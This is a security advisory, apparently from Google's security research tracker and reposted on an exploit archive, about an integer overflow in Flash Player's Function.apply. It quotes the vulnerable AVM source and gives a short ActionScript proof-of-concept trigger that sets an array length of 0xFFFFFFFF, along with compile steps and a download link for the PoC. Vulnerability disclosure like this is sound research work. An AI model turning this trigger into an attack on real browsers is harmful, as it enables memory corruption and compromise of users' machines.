Flash Player Integer Overflow in Function.apply Exploit

Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
 
[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]
 
VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.
 
VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1
 
REPRODUCTION CASE
 
From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp
 
944 // Specialized to be called from Function.apply(). 
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 
946 { 
947     int32_t argc = a->getLength(); 
 
...
  
966     // Tail call inhibited by local allocation/deallocation. 
967     MMgc::GC::AllocaAutoPtr _atomv; 
968     Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom));   //here if argc = 0xFFFFFFFF we get an integer overflow
969     atomv[0] = thisArg; 
970     for (int32_t i=0 ; i < argc ; i++ ) 
971         atomv[i+1] = a->getUintProperty(i); 
972     return env->coerceEnter(argc, atomv); 
973 } 
 
 
So the idea is to use the rest argument to get a working poc. For example:
 
    public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
         
        try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
         
    }
    public function XApplyPoc() {
        var a:Array = new Array()
        
        a.length = 0xFFFFFFFF
        myFunc.apply(this, a)
    }
 
Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/37843.zip

#  0day.today [2018-01-09]  #